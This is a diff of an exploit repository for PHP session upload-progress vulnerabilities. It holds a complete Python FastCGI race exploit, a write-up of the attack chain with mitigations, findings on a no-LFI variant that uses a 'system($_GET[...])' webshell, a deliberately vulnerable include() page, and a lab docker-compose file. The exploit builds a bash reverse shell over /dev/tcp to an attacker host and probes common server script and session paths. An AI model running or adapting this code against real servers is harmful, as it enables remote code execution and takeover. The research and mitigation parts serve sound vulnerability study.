help="Number of attempts (default 3)")
args = p.parse_args()
if not args.trigger_only and not args.cmd and not args.lhost:
print("[!] Specify --trigger-only, --cmd, or --lhost/--lport")
sys.exit(1)
run(args.target, args.lhost, args.lport, args.trigger_only,
args.cmd, args.lfi_param, args.session_path, args.attempts,
race=args.race)
if __name__ == "__main__":
main()
-9
View File
@@ -1,9 +0,0 @@
<?php
session_start();
$pid = getmypid();
if (isset($_GET['page'])) {
include($_GET['page']);
}
echo "pid=$pid sid=" . session_id() . "\n";
+9
View File
@@ -0,0 +1,9 @@
# Single-worker prefork for reliable exploitation.
# The exploit requires A and B requests to hit the same worker.
<IfModule mpm_prefork_module>
StartServers 1
MinSpareServers 1
MaxSpareServers 1
MaxRequestWorkers 1
MaxConnectionsPerChild 0
</IfModule>
+21
View File
@@ -0,0 +1,21 @@
services:
target:
image: php:8.4.26-apache
container_name: php2shell-uaf-target
ports:
- "127.0.0.1:8089:80"
volumes:
- ./php.ini:/usr/local/etc/php/php.ini:ro
- ./apache-prefork.conf:/etc/apache2/mods-available/mpm_prefork.conf:ro
- ./html:/var/www/html:rw
restart: unless-stopped
stock:
image: php:8.4.26-apache
container_name: php2shell-uaf-stock
ports:
- "127.0.0.1:8093:80"
volumes:
- ./apache-prefork.conf:/etc/apache2/mods-available/mpm_prefork.conf:ro
- ./html:/var/www/html:ro
restart: unless-stopped
-128
View File
@@ -1,128 +0,0 @@
# RCE via FastCGI + Session Upload Progress (No LFI)
## Summary
When an attacker can reach PHP-FPM's FastCGI socket (TCP or unix), the
session upload progress write primitive from CVE-2026-109618 /
CVE-2026-109619 becomes RCE without any application-level vulnerability.
No LFI needed. No framework needed. No special PHP configuration needed.
Works on default php.ini settings.
## Attack chain
```
Worker A (held open) Worker B (executes)
--- ---
FastCGI POST with FastCGI GET with
multipart body: PHP_VALUE:
PHP_SESSION_UPLOAD_PROGRESS auto_prepend_file=
= <?php system(...); ?> /tmp/sess_<SID>
SCRIPT_FILENAME=
File upload content /var/www/html/index.php
dripped one byte at a time
-> session file persists PHP includes the session
-> parser blocks for file before index.php
the entire drip window -> attacker PHP runs
-> RCE
```
### Step by step
1. **Open a FastCGI connection to FPM worker A.** Send a POST request
with `Content-Type: multipart/form-data` and `PHPSESSID=<SID>` in the
`HTTP_COOKIE` param. The body contains:
- A `PHP_SESSION_UPLOAD_PROGRESS` field with embedded PHP code
- A file upload whose content is dripped slowly (byte by byte)
2. **FPM worker A enters the multipart parser.** As soon as the progress
field and file header are read, `session.upload_progress` writes the
attacker's PHP code into `/tmp/sess_<SID>`. The parser then blocks
reading the file content from STDIN, which we control.
3. **While worker A is blocked, open a second FastCGI connection to
worker B.** Send a GET request with:
- `SCRIPT_FILENAME = /var/www/html/index.php` (any existing .php file)
- `PHP_VALUE = auto_prepend_file = /tmp/sess_<SID>`
4. **Worker B executes.** PHP's `auto_prepend_file` directive causes it to
`include()` the session file before running the main script. The session
file contains the attacker's `<?php ... ?>` code, which executes.
5. **Cleanup.** The drip finishes, worker A completes normally (or times
out), the session file is cleaned up. The attacker's code has already
executed on worker B.
## Why it works on default configuration
| Setting | Default | Required |
|---------|---------|----------|
| `session.upload_progress.enabled` | `1` | `1` |
| `session.save_path` | `/tmp` | Any known path |
| `pm.max_children` | `5` (dynamic) | `>= 2` |
| `security.limit_extensions` | `.php .phar` | Any (not checked for auto_prepend) |
| `session.upload_progress.cleanup` | `1` | Does not matter (drip defeats it) |
`security.limit_extensions` blocks execution of files without `.php`
extension as `SCRIPT_FILENAME`. But `auto_prepend_file` loads files via
`include()`, which ignores `security.limit_extensions` entirely. The
session file (which has no extension) is included as PHP code regardless
of `limit_extensions`.
## When FPM is reachable
This is the main precondition. The attacker needs raw TCP or unix socket
access to the FPM process. This is realistic in:
1. **Docker containers.** The official `php:*-fpm` images configure FPM to
listen on TCP `0.0.0.0:9000`. Any container on the same Docker network
can reach it.
2. **Kubernetes pods.** PHP-FPM pods are typically addressed by service
name. Adjacent pods, including compromised ones, can send raw FastCGI.
3. **SSRF.** An SSRF vulnerability in any application on the same host
can reach `127.0.0.1:9000` or the unix socket. The `gopher://` scheme
can carry arbitrary TCP payloads including FastCGI.
4. **Exposed port.** Misconfigured firewalls, cloud security groups, or
Docker port mappings exposing 9000 to the network.
5. **Same-host access.** A low-privilege shell on the same machine can
often read the unix socket (permissions vary by distro).
## Test results
Tested against PHP-FPM 8.3.6 with default settings:
- `session.upload_progress.enabled=1` (default)
- `session.save_path=/tmp` (default)
- `session.upload_progress.cleanup=1` (default)
- `security.limit_extensions = .php .phar` (default)
- `pm = static`, `pm.max_children = 2`
Results: 3/3 tests successful. Race hit on first attempt within 200ms
of the drip starting. Reliable with `--drip-time 5` (5 second window).
## Mitigations
1. **Set `session.upload_progress.enabled=0`** if upload progress tracking
is not needed. This removes the write primitive entirely.
2. **Block network access to FPM.** FPM should only be reachable from the
web server process. Use unix sockets with restricted file permissions,
or firewall TCP port 9000.
3. **Use `pm.max_children=1`** as a last resort. With only one worker, the
racer cannot execute while the drip holds a worker. This severely impacts
performance and is not practical.
4. Setting `security.limit_extensions` does NOT help. The inclusion
happens via `auto_prepend_file`, which bypasses limit_extensions.
5. Setting `php_admin_value[auto_prepend_file]` in the FPM pool config
does NOT help. Verified: with `php_admin_value[auto_prepend_file] =
/dev/null` in the pool, a FastCGI request with `PHP_VALUE:
auto_prepend_file = /tmp/sess_xxx` still overrides it. Raw FastCGI
access bypasses the web server that would normally enforce admin
values. The only effective mitigation is blocking FastCGI access.
-566
View File
@@ -1,566 +0,0 @@
#!/usr/bin/env python3
"""
CVE-2026-109618 / CVE-2026-109619 — RCE via FastCGI (no LFI)
Combines the PHP session upload progress write primitive with direct
FastCGI protocol access to PHP-FPM. No LFI vector, no framework, no
special PHP configuration needed.
Attack chain:
1. FastCGI multipart POST to any .php file on the target FPM pool:
PHP_SESSION_UPLOAD_PROGRESS writes attacker PHP code into
<save_path>/sess_<SID>. The request body is dripped slowly via
FastCGI STDIN so the session file persists for seconds (the
multipart parser blocks until STDIN EOF).
2. While worker A is blocked on our slow drip, a second FastCGI
request goes to worker B:
SCRIPT_FILENAME = <same .php file>
PHP_VALUE = auto_prepend_file = <save_path>/sess_<SID>
PHP includes the session file before running the script.
Our PHP code executes.
Why this works on default config:
- session.upload_progress.enabled=1 (default)
- session.save_path=/tmp (common default)
- auto_prepend_file is settable via PHP_VALUE in FastCGI params
- security.limit_extensions only restricts SCRIPT_FILENAME, not
files loaded via auto_prepend_file
- No application vulnerability needed
- Requires pm.max_children >= 2 (default is 5 for dynamic mode)
Preconditions:
- Network access to PHP-FPM (TCP socket or unix socket)
- At least one .php file exists on the server
- session.upload_progress.enabled=1 (default)
- pm.max_children >= 2 (default)
When is FPM reachable:
- Docker: official PHP-FPM images listen on TCP 9000
- Kubernetes: FPM pods addressable from adjacent pods
- SSRF: another app on the same host can reach FPM
- Same-host: unix socket /run/php/php-fpm.sock
- Exposed port: firewall misconfiguration
Usage:
# Direct FastCGI (drip race, most reliable)
python3 exploit_fcgi.py --fpm 10.0.0.5:9000 --cmd 'id'
# Specify PHP file and session path
python3 exploit_fcgi.py --fpm 10.0.0.5:9000 \\
--script-file /var/www/html/index.php \\
--session-path /tmp --cmd 'id'
# Unix socket
python3 exploit_fcgi.py --fpm /run/php/php-fpm.sock --cmd 'id'
# HTTP poison + FastCGI execute (when FPM not directly reachable
# for uploads, but reachable for execution)
python3 exploit_fcgi.py -t http://target/ --fpm 10.0.0.5:9000 --cmd 'id'
# Reverse shell
python3 exploit_fcgi.py --fpm 10.0.0.5:9000 \\
--lhost 10.0.0.1 --lport 4444
"""
import argparse
import base64
import os
import re
import socket
import struct
import sys
import threading
import time
from urllib.parse import urlparse
# ── FastCGI protocol ──────────────────────────────────────────────────
FCGI_VERSION_1 = 1
FCGI_BEGIN_REQUEST = 1
FCGI_END_REQUEST = 3
FCGI_PARAMS = 4
FCGI_STDIN = 5
FCGI_STDOUT = 6
FCGI_STDERR = 7
FCGI_RESPONDER = 1
def fcgi_record(rtype, request_id, content):
clen = len(content)
pad = (8 - (clen % 8)) % 8
return (struct.pack(">BBHHBx", FCGI_VERSION_1, rtype,
request_id, clen, pad)
+ content + b"\x00" * pad)
def fcgi_begin_request(request_id, role=FCGI_RESPONDER, flags=0):
return fcgi_record(FCGI_BEGIN_REQUEST, request_id,
struct.pack(">HBxxxxx", role, flags))
def fcgi_nv(name, value):
nlen = len(name)
vlen = len(value)
out = b""
if nlen < 128:
out += struct.pack("B", nlen)
else:
out += struct.pack(">I", nlen | 0x80000000)
if vlen < 128:
out += struct.pack("B", vlen)
else:
out += struct.pack(">I", vlen | 0x80000000)
return out + name + value
def fcgi_params(request_id, params_dict):
body = b""
for k, v in params_dict.items():
body += fcgi_nv(k.encode(), v.encode())
return (fcgi_record(FCGI_PARAMS, request_id, body)
+ fcgi_record(FCGI_PARAMS, request_id, b""))
def fcgi_stdin_eof(request_id):
return fcgi_record(FCGI_STDIN, request_id, b"")
def fcgi_parse_stdout(data):
stdout_data = b""
stderr_data = b""
pos = 0
while pos + 8 <= len(data):
_, rtype, _, clen, pad = struct.unpack(
">BBHHBx", data[pos:pos+8])
content = data[pos+8:pos+8+clen]
pos += 8 + clen + pad
if rtype == FCGI_STDOUT:
stdout_data += content
elif rtype == FCGI_STDERR:
stderr_data += content
elif rtype == FCGI_END_REQUEST:
break
return stdout_data, stderr_data
# ── FPM connection ────────────────────────────────────────────────────
def fpm_connect(fpm_addr, timeout=10):
if "/" in fpm_addr or fpm_addr.endswith(".sock"):
sock = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM)
sock.settimeout(timeout)
sock.connect(fpm_addr)
return sock
if ":" in fpm_addr:
host, port = fpm_addr.rsplit(":", 1)
port = int(port)
else:
host = fpm_addr
port = 9000
return socket.create_connection((host, port), timeout=timeout)
def fpm_execute(fpm_addr, script_filename, prepend_file, timeout=10):
"""Send GET request to FPM with auto_prepend_file."""
params = {
"SCRIPT_FILENAME": script_filename,
"SCRIPT_NAME": "/" + os.path.basename(script_filename),
"REQUEST_METHOD": "GET",
"SERVER_SOFTWARE": "go / fcgiclient",
"REMOTE_ADDR": "127.0.0.1",
"SERVER_ADDR": "127.0.0.1",
"SERVER_PORT": "80",
"SERVER_PROTOCOL": "HTTP/1.1",
"CONTENT_TYPE": "",
"CONTENT_LENGTH": "0",
"DOCUMENT_ROOT": os.path.dirname(script_filename),
"REQUEST_URI": "/" + os.path.basename(script_filename),
"PHP_VALUE": f"auto_prepend_file = {prepend_file}",
}
request_id = 1
payload = fcgi_begin_request(request_id)
payload += fcgi_params(request_id, params)
payload += fcgi_stdin_eof(request_id)
sock = fpm_connect(fpm_addr, timeout)
sock.sendall(payload)
resp = b""
sock.settimeout(timeout)
try:
while True:
d = sock.recv(65536)
if not d:
break
resp += d
except socket.timeout:
pass
sock.close()
stdout_data, stderr_data = fcgi_parse_stdout(resp)
if b"\r\n\r\n" in stdout_data:
_, body = stdout_data.split(b"\r\n\r\n", 1)
return body, stderr_data
return stdout_data, stderr_data
# ── Multipart helpers ─────────────────────────────────────────────────
def mp_field(bnd, name, value):
return (b"--" + bnd + b"\r\n"
b'Content-Disposition: form-data; name="' + name + b'"\r\n'
b"\r\n" + value + b"\r\n")
# ── Direct FastCGI slow-drip race ─────────────────────────────────────
def poison_and_execute_fcgi(fpm_addr, script_file, sid, php_code,
session_paths, marker, drip_time=10,
timeout=30):
"""All-FastCGI attack: drip multipart to worker A, execute on worker B.
Thread A sends a FastCGI POST with PHP_SESSION_UPLOAD_PROGRESS. The
multipart body contains a file upload whose content is dripped byte
by byte, keeping the FPM worker in the multipart parser (which keeps
the session file on disk) for the entire drip_time.
Thread B repeatedly sends FastCGI GET requests with auto_prepend_file
pointing to the session file, racing to include it while worker A
holds it open.
"""
bnd = b"FCGIRACE" + os.urandom(4).hex().encode()
found = {"body": None, "path": None}
# Build the multipart body prefix: progress field + file header
body_prefix = b""
body_prefix += mp_field(bnd, b"PHP_SESSION_UPLOAD_PROGRESS", php_code)
body_prefix += (
b"--" + bnd + b"\r\n"
b'Content-Disposition: form-data; name="file"; filename="drip.bin"\r\n'
b"Content-Type: application/octet-stream\r\n\r\n"
)
# The suffix that closes the file part and the multipart
body_suffix = b"\r\n--" + bnd + b"--\r\n"
# Calculate total Content-Length (we need to declare it upfront)
# The file content will be dripped: we'll send drip_bytes of padding
drip_bytes = 1024 * 64
total_body = len(body_prefix) + drip_bytes + len(body_suffix)
# ── Thread B: racer ──
def racer():
deadline = time.time() + timeout
attempt = 0
while time.time() < deadline and found["body"] is None:
for sp in session_paths:
if found["body"] is not None:
return
sess_file = f"{sp}/sess_{sid}"
attempt += 1
try:
body, _ = fpm_execute(fpm_addr, script_file,
sess_file, timeout=3)
if marker.encode() in body:
found["body"] = body
found["path"] = sess_file
return
except Exception:
pass
time.sleep(0.005)
# ── Thread A: slow drip ──
fcgi_params_dict = {
"SCRIPT_FILENAME": script_file,
"SCRIPT_NAME": "/" + os.path.basename(script_file),
"REQUEST_METHOD": "POST",
"SERVER_SOFTWARE": "go / fcgiclient",
"REMOTE_ADDR": "127.0.0.1",
"SERVER_ADDR": "127.0.0.1",
"SERVER_PORT": "80",
"SERVER_PROTOCOL": "HTTP/1.1",
"CONTENT_TYPE": f"multipart/form-data; boundary={bnd.decode()}",
"CONTENT_LENGTH": str(total_body),
"DOCUMENT_ROOT": os.path.dirname(script_file),
"REQUEST_URI": "/" + os.path.basename(script_file),
"HTTP_COOKIE": f"PHPSESSID={sid}",
}
request_id = 1
header = fcgi_begin_request(request_id)
header += fcgi_params(request_id, fcgi_params_dict)
# Send headers + body prefix as first STDIN record
first_stdin = fcgi_record(FCGI_STDIN, request_id, body_prefix)
sock = fpm_connect(fpm_addr, timeout=timeout)
sock.sendall(header + first_stdin)
# Small delay to let FPM start processing and write session file
time.sleep(0.2)
# Start the racer
race_thread = threading.Thread(target=racer, daemon=True)
race_thread.start()
# Drip file content slowly
drip_interval = drip_time / (drip_bytes // 64)
sent = 0
while sent < drip_bytes and found["body"] is None:
chunk = b"\x00" * min(64, drip_bytes - sent)
try:
sock.sendall(fcgi_record(FCGI_STDIN, request_id, chunk))
sent += len(chunk)
except (BrokenPipeError, ConnectionResetError, OSError):
break
time.sleep(drip_interval)
# Send suffix + STDIN EOF
try:
sock.sendall(fcgi_record(FCGI_STDIN, request_id, body_suffix))
sock.sendall(fcgi_stdin_eof(request_id))
except:
pass
# Read response (cleanup)
sock.settimeout(3)
try:
while True:
d = sock.recv(8192)
if not d:
break
except:
pass
sock.close()
race_thread.join(timeout=5)
return found["body"], found["path"]
# ── HTTP helpers (fallback for HTTP+FCGI mixed mode) ──────────────────
def _parse_url(url):
p = urlparse(url)
tls = p.scheme == "https"
host = p.hostname or "127.0.0.1"
port = p.port or (443 if tls else 80)
path = p.path or "/"
return host, port, tls, path
def tcp_connect(host, port, tls=False, timeout=30):
sock = socket.create_connection((host, port), timeout=timeout)
if tls:
import ssl
ctx = ssl.create_default_context()
ctx.check_hostname = False
ctx.verify_mode = ssl.CERT_NONE
sock = ctx.wrap_socket(sock, server_hostname=host)
return sock
def recv_all(sock, timeout=10):
resp = b""
sock.settimeout(timeout)
try:
while True:
d = sock.recv(8192)
if not d:
break
resp += d
except socket.timeout:
pass
return resp
def send_chunk(sock, data):
sock.sendall(f"{len(data):x}\r\n".encode() + data + b"\r\n")
# ── Script discovery ──────────────────────────────────────────────────
SCRIPT_CANDIDATES = [
"/var/www/html/index.php",
"/var/www/html/wp-login.php",
"/var/www/html/wp-cron.php",
"/var/www/html/xmlrpc.php",
"/var/www/public/index.php",
"/var/www/app/public/index.php",
"/var/www/html/info.php",
"/srv/http/index.php",
"/usr/share/phpmyadmin/index.php",
"/usr/local/lib/php/pearcmd.php",
]
SESSION_PATHS = [
"/tmp",
"/tmp/php-sessions",
"/var/lib/php/sessions",
"/var/lib/php5/sessions",
"/var/lib/php/sess",
]
def find_php_script(fpm_addr, candidates, timeout=3):
"""Probe FPM to find an existing .php file."""
for path in candidates:
try:
params = {
"SCRIPT_FILENAME": path,
"REQUEST_METHOD": "GET",
"SERVER_SOFTWARE": "probe",
"REMOTE_ADDR": "127.0.0.1",
"SERVER_ADDR": "127.0.0.1",
"SERVER_PORT": "80",
"SERVER_PROTOCOL": "HTTP/1.1",
"CONTENT_TYPE": "",
"CONTENT_LENGTH": "0",
}
request_id = 1
payload = fcgi_begin_request(request_id)
payload += fcgi_params(request_id, params)
payload += fcgi_stdin_eof(request_id)
sock = fpm_connect(fpm_addr, timeout)
sock.sendall(payload)
resp = b""
sock.settimeout(timeout)
try:
while True:
d = sock.recv(65536)
if not d:
break
resp += d
except socket.timeout:
pass
sock.close()
stdout, _ = fcgi_parse_stdout(resp)
if b"Primary script unknown" not in stdout and len(stdout) > 0:
return path
except:
continue
return None
# ── main ──────────────────────────────────────────────────────────────
def run(args):
fpm_addr = args.fpm
sid = args.session_id or os.urandom(16).hex()
marker = "FCGIRCE"
spaths = list(SESSION_PATHS)
if args.session_path:
spaths = [args.session_path] + [s for s in spaths
if s != args.session_path]
if args.cmd:
cmd_b64 = base64.b64encode(args.cmd.encode()).decode()
php_code = (
f'<?php echo "{marker}:";'
f'system(base64_decode("{cmd_b64}"));'
f'echo ":{marker}END"; ?>'
).encode()
elif args.lhost and args.lport:
shell = (f"bash -c 'bash -i >& "
f"/dev/tcp/{args.lhost}/{args.lport} 0>&1'")
cmd_b64 = base64.b64encode(shell.encode()).decode()
php_code = f'<?php system(base64_decode("{cmd_b64}")); ?>'.encode()
elif args.trigger_only:
php_code = (
f'<?php echo "{marker}:pid=".getmypid().'
f'"&uname=".php_uname().":{marker}END"; ?>'
).encode()
else:
print("[!] Specify --cmd, --lhost/--lport, or --trigger-only",
file=sys.stderr)
sys.exit(1)
print("=" * 65)
print(" CVE-2026-109618/109619: RCE via FastCGI (no LFI)")
print("=" * 65)
print(f" FPM address : {fpm_addr}")
print(f" Session ID : {sid}")
print(f" Drip time : {args.drip_time}s")
if args.cmd:
print(f" Command : {args.cmd}")
elif args.lhost:
print(f" Reverse sh : {args.lhost}:{args.lport}")
else:
print(f" Trigger-only")
print()
# ── Step 0: find a .php script ──
print("[*] Step 0: probing PHP-FPM for an existing .php file...")
script_file = args.script_file
if not script_file:
script_file = find_php_script(fpm_addr, SCRIPT_CANDIDATES)
if script_file:
print(f" Found: {script_file}")
else:
print(" [!] No .php file found. Use --script-file.")
sys.exit(1)
else:
print(f" Using: {script_file}")
# ── Step 1+2: poison via slow drip + race execution ──
print(f"[*] Step 1+2: slow-drip poison + race execution...")
print(f" Dripping multipart body over {args.drip_time}s "
f"while racing auto_prepend_file...")
body, path = poison_and_execute_fcgi(
fpm_addr, script_file, sid, php_code,
spaths, marker,
drip_time=args.drip_time,
timeout=args.drip_time + 10)
if body:
print(f" [+] RCE confirmed via {path}")
output = body.decode(errors="replace")
m = re.search(rf"{marker}:(.*?):{marker}END", output, re.DOTALL)
if m:
print()
print(m.group(1))
else:
print()
print(output)
return True
else:
print(" [!] Race did not succeed.")
print(" Possible causes:")
print(" - pm.max_children < 2 (need at least 2 workers)")
print(" - session.upload_progress.enabled = 0")
print(" - Incorrect session.save_path (try --session-path)")
print(" - Try increasing --drip-time")
return False
def main():
p = argparse.ArgumentParser(
description="CVE-2026-109618/109619: RCE via FastCGI (no LFI)")
p.add_argument("--fpm", required=True,
help="PHP-FPM address (host:port or /path/to/socket)")
p.add_argument("-t", "--target",
help="HTTP URL (optional, for HTTP+FCGI mixed mode)")
p.add_argument("--script-file",
help="Existing .php file on target (auto-detected)")
p.add_argument("--session-path",
help="session.save_path override")
p.add_argument("--session-id",
help="Force session ID (default: random)")
p.add_argument("--cmd", help="Command to execute")
p.add_argument("--lhost", help="Reverse shell host")
p.add_argument("--lport", type=int, help="Reverse shell port")
p.add_argument("--trigger-only", action="store_true",
help="Verify RCE without running a payload")
p.add_argument("--drip-time", type=int, default=10,
help="Seconds to drip the upload body (default: 10)")
sys.exit(0 if run(p.parse_args()) else 1)
if __name__ == "__main__":
main()
-169
View File
@@ -1,169 +0,0 @@
# RCE Without LFI — Findings
Question: can CVE-2026-109618 / CVE-2026-109619 (the `PHP_SESSION_UPLOAD_PROGRESS`
write primitive) be turned into RCE **without any include() primitive in the
application**?
Short answer: not through the session decoder — PHP never unserializes attacker
bytes off the session file, and four independent guards close that route. But
yes through a different consumer: **PHP-FPM's own request routing**. When
`session.save_path` is web-served, the poisoned session file is directly
requestable, and php-fpm executes it through the standard `PATH_INFO` route as
soon as `security.limit_extensions` is empty. No application code runs at any
point; the poison fires even on 404 URLs.
Everything below was verified against a local php-fpm 8.5.11 build plus the
PHP 8.3/8.5 sources (`session_83.c`, php-src `ext/session/session.c`,
`ext/session/mod_files.c`, `ext/session/rfc1867_83.c`).
## Part 1: why session deserialization is a dead end
The obvious no-LFI consumer is `session_start()` itself: it decodes the
poisoned file on the next request. If the decoded stream could be made to
unserialize an attacker-chosen `O:...` object, any autoloadable gadget chain
(phpggc) would give RCE with zero LFI. It cannot, for four reasons:
**1. The `|` guard aborts the whole write** (php handler, the default).
`PS_SERIALIZER_ENCODE_FUNC(php)` checks every key:
smart_str_appendl(&buf, ZSTR_VAL(key), ZSTR_LEN(key));
if (memchr(ZSTR_VAL(key), PS_DELIMITER, ZSTR_LEN(key))) {
... return NULL; /* session.c:993-998 in 8.3 */
and `php_session_save_current_state()` then writes the **empty string** instead
of the session (session.c:529-531). The progress key is `prefix + $_POST value`
appended verbatim (session.c:3144-3145, no per-character filtering — the README
of CVE-2026-109619 slightly overstates this as "filtering"), so a `|` in the
value kills the write entirely.
Verified: POST with progress value `AAA|O:13:"ExploitCanary"...` → session file
exists with **0 bytes**. No object, no data.
**2. The key is never unserialized.** With `serialize_handler=php`, the decode
loop splits at the first `|` and unserializes only the value side
(session.c:1024-1048). The value side is always the well-formed progress array
written by `php_var_serialize` — length-prefixed, aligned. The raw attacker
bytes land in the key, which becomes a plain `$_SESSION` array key.
**3. Other serializers are aligned or escaped.**
- `php_serialize`: key passes through `php_var_serialize` escaping
(`"` → `\"`), so a smuggled `O:8:\"...` cannot parse; read-back is a single
aligned `unserialize()`.
- `php_binary`: encode skips keys longer than 127 bytes (`session.c:928`,
`continue`), decode is length-prefixed.
- `wddx`: XML, can only produce scalars/arrays.
**4. The SID cannot carry the payload into a filename.** The rfc1867 flow
skips `session.c`'s own SID validation — `PS(id) = zend_string_copy(...)`
straight from the cookie/GET/POST-form-field (session.c FILE_START handler) —
but `mod_files.c:ps_files_open()` re-validates with `php_session_valid_key()`
(`[A-Za-z0-9,-]`, length ≤ 256) before every open, and opens with `O_NOFOLLOW`.
The path is always `<save_path>/sess_<SID>` (`ps_files_path_create`), so no
traversal, no `sess_x.php`, no symlink. Verified: a dotted SID produces
"Session ID is too long or contains illegal characters" and no file.
Handler-specific corollary: the rfc1867 path hands the raw SID to whichever
save handler is configured. `mod_files` is the only built-in that validates.
Third-party handlers (phpredis, memcached) receive the SID bytes unvalidated —
whether they sanitize before building store keys is deployment-dependent and
was **not verified** here; for redis-style handlers a CRLF-capable SID is
protocol injection, which is a separate research thread.
## Part 2: what works — php-fpm consumes the file itself
The no-LFI consumer is not PHP code, it is the **request router**:
1. **The poison does not need the application.** The rfc1867 callback runs
inside the SAPI POST reader, before script dispatch. A multipart POST to a
URL whose script does not exist (fpm answers 404) still writes the poisoned
session file. Verified: POST to `/nonexistent.php` → file written. This
means *any* PHP-handled vhost URL is a valid injection endpoint.
2. **If `session.save_path` is web-served, the file is fetchable over HTTP.**
`sess_<SID>` has no extension (SID charset has no dot), so a default php-fpm
refuses it: `Access denied.` from `security.limit_extensions` (verified).
But with **`security.limit_extensions` empty** — a very common production
setting — the classic nginx `cgi.fix_pathinfo` route executes it:
GET /sessions/sess_<SID>/x.php?c=id
nginx matches `location ~ \.php$` on the URI, resolves the longest existing
prefix as the script, and fpm executes the extensionless session file with
`PATH_INFO=/x.php`.
Verified end-to-end against php-fpm 8.5.11: the session file
`upload_progress_<?php system($_GET["c"]); ?>|a:5:{...}` executed and
returned `uid=1000(...)`. Both limit_extensions states tested.
3. **Persistence vs the race.** With `session.upload_progress.cleanup=1`
(default) the file is truncated at `MULTIPART_EVENT_END`. Persistence
options:
- `cleanup=0` — file persists with `done=1`; no race needed.
- **Streaming request bodies** (Apache mod_php, nginx
`fastcgi_request_buffering off`, lighttpd, direct fpm exposure): the
write lands at `MULTIPART_EVENT_FILE_START` and the window lasts as long
as the upload is dripped. Verified: slow FCGI drip, execution request hit
during the window on the first poll.
- **Buffering stacks** (nginx default): the whole body arrives, then fpm
parses; the window is only the parse time — measured ~16 ms for a 7 MB
body. Detection may land, follow-up commands usually miss. Not reliable.
- **CVE-2026-109618 OOM bailout** — deterministic: the field flood OOMs the
parser, `zend_bailout` longjmps past `MULTIPART_EVENT_END`, cleanup never
runs, and the poisoned file persists. Requires the OOM body to fit under
`post_max_size` while exceeding `memory_limit` headroom (i.e.
`memory_limit <` flood volume `< post_max_size`). Verified: 17 MB flood
against `memory_limit=16M`, `post_max_size=64M` → worker died, file
persisted, pathinfo execution returned command output.
## Exploit
`exploit_nolfi.py` implements the chain with auto-detection:
- `--probe` classifies each candidate URL prefix: not served / served only
(source disclosure) / fully executable.
- Default mode poisons + races the upload window while polling execution
vectors (`/x.php`, `/index.php`, `/a.phar`, `/x.phtml`), then falls back to
calm execution if the file persisted.
- `--oom` switches persistence to the CVE-2026-109618 bailout (tune with
`--fields` / `--fsize`).
## Updated mitigation matrix
| Mitigation | Race | RLIMIT | /proc/fd | served-path (this) |
|---|---|---|---|---|
| PHP 8.4.27 patch alone | FAIL | FAIL | FAIL | FAIL |
| + `upload_progress=0` | OK | OK | FAIL | FAIL (poison gone, but /proc/fd-style upload temp files unaffected) |
| + `hidepid=2` on /proc | FAIL | FAIL | OK | FAIL |
| + limit_extensions=`.php .phar` | — | — | — | OK |
| + save_path outside docroot / not served | — | — | — | OK |
| Fix the LFI | OK | OK | OK | **FAIL** |
"Fix the LFI" no longer closes the bug class: the served-path chain needs no
application file-inclusion at all.
## Recommendations (additions to the existing list)
5. Set `security.limit_extensions = .php .phar` explicitly in every fpm pool
(do not leave it empty).
6. Keep `session.save_path` outside any web-served tree; audit for alias or
`location` blocks that expose it.
7. Keep `cgi.fix_pathinfo=0` where the application does not need PATH_INFO.
## Test log (local rig)
- php-fpm 8.5.11 (source build), session.save_path under a docroot served by
an nginx-equivalent gateway (static files + `location ~ \.php$` +
fix_pathinfo semantics).
- `cleanup=0` + empty limit_extensions: poison → served detection → pathinfo
exec → interactive command loop. Confirmed RCE.
- `cleanup=1` + empty limit_extensions + streaming FCGI drip: execution hit
during upload window on first poll. Confirmed RCE.
- `cleanup=1` + OOM flood (17 MB, memory_limit=16M): worker bailout, file
persisted, exec confirmed. Confirmed RCE.
- `cleanup=1` + nginx-style buffered body: ~16 ms window at 7 MB; detection
frequently succeeds, sustained command execution unreliable. Documented.
- `security.limit_extensions=.php .phar` (default): all execution attempts
blocked with "Access denied". Confirmed mitigation.
- Session deserialization injection (`|` in progress key): 0-byte file,
no unserialization. Confirmed dead end.
-56
View File
@@ -1,56 +0,0 @@
<?php
// Deployment diagnostic for the no-LFI session attack surface.
// Drop on the target, request once, then REMOVE it.
//
// Reports whether the two preconditions of the served-path chain hold:
// 1. session.save_path is inside (or aliased to) a web-served tree
// 2. security.limit_extensions is empty (fpm would execute
// extensionless session files via PATH_INFO)
header('Content-Type: text/plain');
$sp = session_save_path();
if ($sp === '') {
$sp = sys_get_temp_dir();
}
// strip the optional "N;/path" depth prefix
if (($p = strrchr($sp, ';')) !== false) {
$sp = substr($p, 1);
}
$doc = rtrim($_SERVER['DOCUMENT_ROOT'] ?? '', '/');
$real_sp = realpath($sp) ?: $sp;
$real_doc = realpath($doc) ?: $doc;
$under_doc = ($real_doc !== '' && strncmp($real_sp, $real_doc, strlen($real_doc)) === 0);
$le = ini_get('security.limit_extensions');
$sapi = php_sapi_name();
echo "sapi = {$sapi}\n";
echo "session.save_path = {$sp}\n";
echo "DOCUMENT_ROOT = {$doc}\n";
echo "save_path under docroot = " . var_export($under_doc, true) . "\n";
echo "security.limit_extensions = [" . $le . "]\n";
echo "upload_progress.enabled = " . ini_get('session.upload_progress.enabled') . "\n";
echo "upload_progress.cleanup = " . ini_get('session.upload_progress.cleanup') . "\n";
echo "memory_limit = " . ini_get('memory_limit') . "\n";
echo "post_max_size = " . ini_get('post_max_size') . "\n";
echo "open_basedir = [" . ini_get('open_basedir') . "]\n";
$verdict = array();
if (ini_get('session.upload_progress.enabled')) {
if ($under_doc) {
$verdict[] = "save_path is web-served: session files are requestable";
}
if ($sapi === 'fpm-fcgi' && trim($le) === '') {
$verdict[] = "limit_extensions empty: extensionless session files EXECUTE via PATH_INFO";
}
}
if ($verdict) {
echo "\nEXPOSED:\n";
foreach ($verdict as $v) {
echo " - {$v}\n";
}
echo "\nSee nolfi/FINDINGS.md. Set security.limit_extensions and move save_path.\n";
} else {
echo "\nNo served-path exposure detected.\n";
}
-590
View File
@@ -1,590 +0,0 @@
#!/usr/bin/env python3
"""
CVE-2026-109618 / CVE-2026-109619 — RCE WITHOUT LFI
("served save_path" chain)
Every other exploit in this repo needs an include() primitive in the
application to execute the poisoned session file. This one does not.
It turns the session upload progress write primitive into RCE using only
PHP-FPM request routing:
1. PHP_SESSION_UPLOAD_PROGRESS writes PHP code into
<save_path>/sess_<SID> during multipart parsing. This fires even on
URLs that do not exist (404), because rfc1867 processing happens in
the SAPI POST reader before script dispatch. No session_start(),
no application code involved.
2. If session.save_path lives under a web-served directory, the session
file is directly requestable over HTTP.
